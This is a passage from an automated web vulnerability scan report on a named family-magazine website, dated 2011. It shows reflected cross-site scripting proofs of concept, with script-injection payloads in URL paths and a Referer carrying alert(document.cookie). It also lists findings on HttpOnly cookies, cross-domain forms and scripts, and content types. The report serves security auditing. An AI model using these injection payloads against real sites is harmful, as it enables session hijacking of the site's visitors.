Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:29 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32134

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/site.cssd1ff0"><script>alert(1)</script>a2f2a106e6?b=1294094101&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

2.30. http://www.sonomafamilylife.com/site.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /site.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 867f8"><script>alert(1)</script>4741bf69f2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site.js867f8"><script>alert(1)</script>4741bf69f2d?b=1275350782 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 18:08:34 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 32134

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<a href="http://www.sonomafamilylife.com/site.js867f8"><script>alert(1)</script>4741bf69f2d?b=1275350782&calMini_year=2011&calMini_month=2" class="calMini_leftArrow">
...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.


3.1. http://www.sonomafamilylife.com/  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.sonomafamilylife.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.sonomafamilylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:48:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=r6vfjasnkq4poujarbei632pl6; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57098

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...

3.2. http://www.sonomafamilylife.com/ajax/slideshow.php  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.sonomafamilylife.com
Path:   /ajax/slideshow.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ajax/slideshow.php?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10&r=0.14164535312009355 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:08:14 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; expires=Wed, 16-Mar-2011 19:08:14 GMT; path=/
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; path=/
Content-Length: 1863
Content-Type: text/html; charset=UTF-8

<?xml version="1.0" encoding="utf-8" ?>
<recordset>
<article>
<headline><![CDATA[Cars 4 a Cure]]></headline>
<leadline><![CDATA[Windsor High School Student's Event Profits Children...s Diabetes Foun
...[SNIP]...

4. Cross-domain POST  previous  next
There are 4 instances of this issue:

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.


4.1. http://www.sonomafamilylife.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /

Issue detail

The page contains a form which POSTs data to the domain visitor.r20.constantcontact.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: www.sonomafamilylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:48:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=r6vfjasnkq4poujarbei632pl6; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57098

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<td><form name="ccoptin" action="http://visitor.r20.constantcontact.com/d.jsp" target="_blank" method="post" style="margin-bottom: 3px;"><span>
...[SNIP]...

4.2. http://www.sonomafamilylife.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /

Issue detail

The page contains a form which POSTs data to the domain visitor.r20.constantcontact.com. The form contains the following fields:

Request

GET / HTTP/1.1
Host: www.sonomafamilylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:48:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=r6vfjasnkq4poujarbei632pl6; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57098

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<td><form name="ccoptin" action="http://visitor.r20.constantcontact.com/d.jsp" target="_blank" method="post" style="margin-bottom: 3px;"><span>
...[SNIP]...

4.3. http://www.sonomafamilylife.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /favicon.ico

Issue detail

The page contains a form which POSTs data to the domain visitor.r20.constantcontact.com. The form contains the following fields:

Request

GET /favicon.ico HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:44:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 31960

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<td><form name="ccoptin" action="http://visitor.r20.constantcontact.com/d.jsp" target="_blank" method="post" style="margin-bottom: 3px;"><span>
...[SNIP]...

4.4. http://www.sonomafamilylife.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /favicon.ico

Issue detail

The page contains a form which POSTs data to the domain visitor.r20.constantcontact.com. The form contains the following fields:

Request

GET /favicon.ico HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:44:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 31960

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
<td><form name="ccoptin" action="http://visitor.r20.constantcontact.com/d.jsp" target="_blank" method="post" style="margin-bottom: 3px;"><span>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.



5.1. http://www.sonomafamilylife.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.sonomafamilylife.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 17:48:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=r6vfjasnkq4poujarbei632pl6; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 57098

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

<script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</script> <script type="text/javascript" language="javascript" src="http://www.statcounter.com/counter/counter.js"></script>
...[SNIP]...

5.2. http://www.sonomafamilylife.com/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.sonomafamilylife.com
Path:   /favicon.ico

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /favicon.ico HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:44:44 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Type: text/html; charset=UTF-8
Content-Length: 31960

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" >
<meta n
...[SNIP]...
</script>
<script type="text/javascript" language="javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>

<script type="text/javascript" src="http://www.google.com/jsapi"></script>
...[SNIP]...
</script> <script type="text/javascript" language="javascript" src="http://www.statcounter.com/counter/counter.js"></script>
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.sonomafamilylife.com
Path:   /ajax/slideshow.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain XML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Request

GET /ajax/slideshow.php?SID=dv5erp1b5sbn769524aiabd600&s=114&l=10&r=0.14164535312009355 HTTP/1.1
Host: www.sonomafamilylife.com
Proxy-Connection: keep-alive
Referer: http://www.sonomafamilylife.com/?afd60%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef9167255a4e=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600

Response

HTTP/1.1 200 OK
Date: Wed, 16 Mar 2011 18:08:14 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; expires=Wed, 16-Mar-2011 19:08:14 GMT; path=/
Set-Cookie: PHPSESSID=dv5erp1b5sbn769524aiabd600; path=/
Content-Length: 1863
Content-Type: text/html; charset=UTF-8

<?xml version="1.0" encoding="utf-8" ?>
<recordset>
<article>
<headline><![CDATA[Cars 4 a Cure]]></headline>
<leadline><![CDATA[Windsor High School Student's Event Profits Children...s Diabetes Foun
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 07:58:38 CDT 2011.